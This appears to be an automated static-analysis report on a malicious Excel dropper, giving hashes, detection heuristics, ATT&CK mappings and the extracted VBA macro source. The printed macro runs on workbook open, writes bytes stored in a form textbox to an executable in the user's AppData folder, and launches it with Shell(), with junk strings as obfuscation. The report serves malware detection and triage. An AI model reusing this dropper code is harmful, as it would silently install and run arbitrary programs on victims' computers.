Xls.Dropper.Agent-6329818-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 f21e986d3f21e3b4…

MALICIOUS

Office (OLE)

117.5 KB Created: 2016-06-03 07:17:31 Authoring application: Microsoft Excel First seen: 2017-11-13
MD5: a932a9395b9dca108b3550fcc02a978b SHA-1: 7a787e5e5676c48055e200a27473372f0470ef1f SHA-256: f21e986d3f21e3b481edeb857c29b71de153e612933d9875e5fc321ed6c8c7b7
220 Risk Score

Malware Insights

Xls.Dropper.Agent-6329818-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

This Excel document contains a Workbook_Open macro that utilizes the Shell() function to execute arbitrary commands. The macro is designed to run automatically when the workbook is opened, indicating a dropper functionality. The ClamAV detection name 'Xls.Dropper.Agent-6329818-0' further supports this assessment.

Heuristics 5

  • ClamAV: Xls.Dropper.Agent-6329818-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-6329818-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3544 bytes
SHA-256: a475208c6778001a9c9e648ae9d551291351b9081650646b47692915d681f616
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub appLoadr()
Call karurun
End Sub

Sub loadPro(strProgramName As String)
    Dim doomday As String
    Dim strArgument As String
    doomday = "ddsddYT4sdsdB5RV3DCuu%u"
    Call Shell(strProgramName, vbNormalFocus)
End Sub



Sub WaitFo(NumOfSeconds As Long)
    Dim SngSec As Long
    Dim doomday As String
    doomday = "ddYT4Bdsd5RV3DCuu"
    SngSec = Timer + NumOfSeconds
    Do While Timer < SngSec
        DoEvents
    Loop
    doomday = "dddYT4sdsB5RV3DCuu"
End Sub

Function ruString(cb As Integer) As String

    Randomize
    Dim rgch As String
    rgch = "ghiabcdefjklqrstuvwmnopxyz"
    rgch = rgch & UCase(rgch) & "1348906257"

    Dim i As Long
    For i = 1 To cb
        ruString = ruString & Mid$(rgch, Int(Rnd() * Len(rgch) + 1), 1)
    Next
        
End Function



Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Call appLoadr
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{9FE0CF9A-C949-4756-93B6-24560B2579FB}{421B71F2-0CDF-4BFC-B4BA-319AF7AF6C03}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub TextBox1_Change()

End Sub

Private Sub TextBox3_Change()

End Sub

Attribute VB_Name = "Module2"
 
Sub karurun()
    Dim row As Long
    Dim path_file As String
    Dim path_doom As String
    Dim a As String
    Dim b As String
    Dim c As String
    Dim d As String
    Dim e As String
    Dim f As String
    Dim g As String
    Dim h As String
    Dim i As String
    Dim j As String
    Dim k As String
    Dim l As String
    Dim m As String
    Dim eno As String
    Dim eno1 As String
    Dim eno2 As String
    Dim eno3 As String
    Dim eno4 As String
    Dim eno5 As String
    Dim eno6 As String
    eno1 = "E"
    eno2 = "n"
    eno3 = "v"
    eno4 = "i"
    eno5 = "r"
    eno6 = "o"
    eno = "n"
    g = "A"
    h = "p"
    i = "p"
    j = "d"
    k = "a"
    l = "t"
    b = "\"
    d = ".e"
    e = "x"
    f = "e"
    strUserName = Application.UserName
    path_dom = "YT4Bds5RV3DC"
    path_dom = ruString(6)
    path_file = "C:\Users\" + strUserName + "\AppData\Roaming" + "\" + path_dom + d + e + f
    path_dom = "dYT4B5RV3DCu"
    Dim ar() As String
    
    If Len(Dir(path_file)) = 0 Then
        ar = Split(UserForm1.TextBox1.Text, ",")
        path_dom = "dYT4Bdsd5RV3DCu"
        Dim fileNum As Integer
        Open path_file For Binary As #1
        Seek #1, LOF(1) + 1
        For row = LBound(ar) To UBound(ar)
            Put #1, , CByte(ar(row))
      Next
        Close #1
         Call WaitFo(1)
         path_dom = "ddsYTdsd4B5RV3DCu"
     End If
     path_dom = "ddsdYT4B5sdsdRV3DCu"
     loadPro path_file
     Workbooks.Add
     
End Sub

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